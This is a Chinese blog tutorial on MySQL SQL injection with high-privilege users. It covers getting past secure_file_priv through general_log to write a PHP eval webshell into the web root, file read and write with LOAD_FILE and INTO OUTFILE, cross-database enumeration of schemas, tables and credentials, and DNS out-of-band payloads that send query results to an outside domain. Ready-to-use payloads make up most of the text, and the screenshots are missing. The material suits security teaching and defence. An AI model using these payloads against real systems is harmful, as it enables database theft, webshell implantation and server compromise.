当前位置: 首页 > news >正文

Web攻防-SQL注入高权限判定跨库查询文件读写DNS带外SecurePriv开关绕过

知识点:
1、Web攻防-SQL注入-高权限用户差异
2、Web攻防-SQL注入-跨库注入&文件读写&DNS带外

案例说明:
在应用中,数据库用户不同,可操作的数据库和文件读写权限不一,所有在注入过程中可以有更多的利用思路,如直接写入后门,获取数据库下洽谈网站的数据等。

一、演示案例-WEB攻防-SQL注入-高权限&数据库名获取&文件读写操作&secure_file_priv开关

实验:root用户和普通用户

在这里插入图片描述

1、所有数据库名获取

在这里插入图片描述

2、文件读写操作权限

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验:secure_file_priv开关(限制文件读取和写入)

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入
通过my.ini(windows版本)/my.cnf(Linux版本)中设置

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过条件

存在可执行的SQL语句的地方(后台SQL命令执行,Phpmyadmin应用等)从后台的sql命令执行功能点:通过注入获取得到这个网站的后台账号密码
从phpmyadmin命令执行功能点:通过注入获取到数据库的用户名和密码
phpmyadmin的用户密码存储在mysql数据库下的user表(mysql低版本是user、password列名或mysql高版本是user、authentication_string为列名)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

getshellshow variables like "secure%" //查看secure_file_priv开关是否开启
slow_query_log=1 启用慢查询日志(默认禁用)
set global general_log=on; //开启日志功能
show variables like 'general_log'; //查看日志是否开启
set global general_log_file='D:/phpstudy_pro/WWW/php/55/bypass.php';
select '<?php @eval($_POST[x]);?>'

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-SQL注入-高权限&文件读写操作&跨库注入&带外注入

文件读写

' union select LOAD_FILE('d:\\2.txt'),2,3#

在这里插入图片描述
在这里插入图片描述

' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#

在这里插入图片描述
在这里插入图片描述
实战中一般就是直接写webshell进网站目录下,那么关于网站路径获取方法:

1、遗留文件(phpinfo)
在这里插入图片描述
2、报错显示
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3、读中间件配置
4、爆破fuzz路径

跨库注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查数据库名

' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#

在这里插入图片描述
在这里插入图片描述

查表名

' union select table_name,2,3 from information_schema.tables where table_schema='xhcms'#

在这里插入图片描述
在这里插入图片描述

查列名

' union select column_name,2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#

在这里插入图片描述
在这里插入图片描述

查数据

' union select name,2,3 from xhcms.manage#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

带外注入(读文件无回显)

查数据库名

' union select load_file(concat('\\\\',(select database()),'.yjjoxijrhw.yutu.eu.org\\aa')),2,3#

在这里插入图片描述
在这里插入图片描述

查第一个表名

' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#

在这里插入图片描述
在这里插入图片描述

查第二个表名

' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#

查第三个表名

' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 2,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#

查列名:…

查数据

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

http://www.lqws.cn/news/140257.html

相关文章:

  • 路凯智行助力华润水泥长治矿区开启无人运输新场景
  • 6. MySQL基本查询
  • 大语言模型备案与深度合成算法备案的区别与联系
  • NLP中的input_ids是什么?
  • 虚拟机无法开启-关掉虚拟化
  • FAST(Features from Accelerated Segment Test)角检测算法原理详解和C++代码实现
  • 打包成windows exe
  • 群论在现代密码学中的应用探索与实践 —— 从理论到C语言实现
  • 卡特兰数简单介绍
  • gateway 网关 路由新增 (已亲测)
  • 极客时间-《搞定音频技术》-学习笔记
  • L2-056 被n整除的n位数 - java
  • Unity 中实现可翻页的 PageView
  • C++--vector的使用及其模拟实现
  • 【统计方法】蒙特卡洛
  • OpenProject:一款功能全面的开源项目管理软件
  • Android Studio 打包时遇到了签名报错问题:Invalid keystore format
  • PostgreSQL的扩展 pg_buffercache
  • ubuntu 常用操作指令(与域控制器交互相关)
  • 使用qt 定义全局钩子 捕获系统的键盘事件
  • 聊聊芯片Debug模块及其应用
  • 如何快速找出某表的重复记录 - 数据库专家面试指南
  • 618浴室柜推荐,小户型浴室柜怎么选才省心?
  • JAVA 集合进阶 Map集合的实现类 TreeMap
  • 第八部分:第三节 - 事件处理:响应顾客的操作
  • C++ 变量二
  • c++中char *p指针指向字符串输出问题
  • day46 python预训练模型补充
  • Java八股文——Redis篇
  • CCPC题目